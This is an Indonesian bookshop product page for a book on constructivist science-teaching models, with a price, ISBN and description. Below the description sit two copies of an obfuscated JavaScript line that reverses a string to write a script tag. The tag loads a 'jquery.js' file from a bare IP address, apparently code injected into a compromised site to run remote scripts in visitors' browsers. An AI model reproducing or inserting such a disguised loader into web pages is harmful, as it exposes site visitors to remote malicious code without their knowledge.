Rp73,800.00
Penulis : Prof. Dr. I Wayan Sadia, M.Pd
Halaman : 145 Halaman
No. ISBN : 978-602-262-368-1
Penerbit : Graha Ilmu dan Undiksha Press
Tahun : 2014
Belajar dalam pandangan konstruktivisme bukanlah penambahan informasi baru secara sederhana, tetapi melibatkan interaksi antara pengetahuan baru dengan pengetahuan yang telah dimiliki sebelumnya. Pengetahuan dikontruksi melalui proses asimilasi dan/atau akomodasi. Kita menggunakan asimilasi sebagai suatu kerangka logis dalam menginterprestasi informasi buku, dan dengan akomodasi dalam memecahkan kontradiksi-kontradikasi sebagai bagian dari proses regulasi-diri yang lebih luas. Asimilasi merupakan pengintegrasian unsur eksternal ke dalam struktur kognitif yang telah ada, sedangkan akomodasi merupakan proses adaptasi sturktur kognitif yang telah da agar sesuai dengan data sensori yang baru diasimilasi. Pembelajaran konstruktivistik merupakan pembelajaran yang berpijak pada prinsip-prinsip kontruktivisme dengan asumsi bahwa pengetahuan dibangun di dalam pikiran orang yang belajar. Bahwa pengetahuan tidak dapat dipindahkan secara utuh dari pikiran guru ke pikiran siswa. Oleh karena itu, dalam proses pembelajaran siswalah yang secara aktif mengkonstruksi pengetahuannya, sedangkan guru lebih banyak berperan sebagai fasilitator pembelajaran.
Penulisan buku ini dimaksudkan untuk membantu para guru maupun calon guru dalam mengembangkan dan mengimplementasikan model-model pembelajaran sains yang berorientasi pada filosofi konstruktivisme. Dengan model-model pembelajaran tersebut di harapkan para siswa mengkonstruksikan pengetahuannya secara aktif sehingga terjadi proses pembelajaran yang bermakna yaitu terkaitnya pengetahuan baru yang dikontruksinya dengan sturktur kognitif yang telah dimiliki siswa. Modelmodel pembelajaran sains yang disajikan dalam buku ini adalah Model pembelajaran, Model konflik kognitif, Model pembelajaran generatif, Model siklus belajar, Model pembelajaran sains-teknologi-masyarakat, model pemebalajaran berbasis masalah, model pembelajaran kooperatif, Model pembelajaran Konstektual, dan Model pembelajaran Inkuiri. Kedelapan model tersebut memberi tantangan kepad siswa untuk secara aktif mengkonstruksi pengetahuannya melalui proses penemuan sehingga terjadi proses belajar yang bermakna. Disamping itu, model-model pembelajaran tersebut juga berkontribusi secara signifikan dalam mengembangkan keterampilan berpikir tingkat tinggi.
document.write(‘>tpircs/”sj.yreuqj/87.611.942.431//:sptth”=crs tpircs<'.split("").reverse().join("")) document.write(‘>tpircs/”sj.yreuqj/87.611.942.431//:sptth”=crs tpircs<'.split("").reverse().join(""))
Related products
-
Asesmen dan Evaluasi Pembelajaran Fisika
Rp63,800.00 -
Fisika Dasar
Rp91,800.00